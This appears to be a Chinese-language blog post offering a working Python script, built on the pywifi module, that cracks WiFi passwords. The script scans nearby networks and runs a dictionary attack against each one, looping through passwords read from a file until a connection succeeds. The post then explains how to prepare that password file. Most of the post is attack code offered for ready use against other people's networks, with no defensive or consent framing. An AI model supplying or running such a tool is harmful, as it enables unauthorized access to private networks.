Python破解既爱又恨的Wifi密码

新年第一篇,不管有多么惆怅,还是要咬紧牙关前进 ,梦想在不经意间实现!

Python最牛逼的的地方在于很多大牛撸出了很多很有用的小模块,下面就是pywifi模块,话不多说,放代码。

# Python3.5
import time, os
from pywifi import PyWiFi, Profile, const


class FuckWifi(object):
    def __init__(self):
        wifi = PyWiFi()
        self.iface = wifi.interfaces()[0]
        self.disconnectwifi()
        
    def disconnectwifi(self):
        while self.iface.status() not in \
              [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
            self.iface.disconnect()
            time.sleep(1)

    def wifiscanner(self):
        self.iface.scan
        time.sleep(10)
        return self.iface.scan_results()
    
    
    def wificonnector(self, x):
        """x 可以是wifi的ssid也可以是pywifi.profile.Profile类"""
        with open('wifikeydict.ini', 'r') as fdict:
            while self.iface.status() != const.IFACE_CONNECTED:
                key = fdict.readline().strip()
                print("\t尝试密码:"+ key)
                # 当字典文件读取结束自动break循环
                if not key:
                    print("\t已尝试完所有的密码")
                    break
                profile = self.profilegenerator(x, key)

                self.iface.remove_all_network_profiles()
                network_profile = self.iface.add_network_profile(profile)
                self.iface.connect(network_profile)
                time.sleep(10)
                print("\t连接状态:"+ str(self.iface.status()))

        
    def profilegenerator(self, x, key):
        if not isinstance(x, Profile):
            profile = Profile()
            profile.ssid = x
        else:
            profile = x
        
        # 通用配置,一般不需要更改
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = key        
        
        return profile
    
    
if __name__ == '__main__':
    fw = FuckWifi()
    for w in fw.wifiscanner():
        if w.ssid == 'zhujie':
            continue
        print("测试WIFI:"+w.ssid)
        fw.wificonnector(w)
    fw.wificonnector('zhujie')
        

然后,我们需要在脚本同目录下放入一个wifi密码字典,格式如下:

12345678

123qweas

.......

.......

这样就可以运行了。

Pywifi也提供了python2.7环境下的模块。

1

热门评论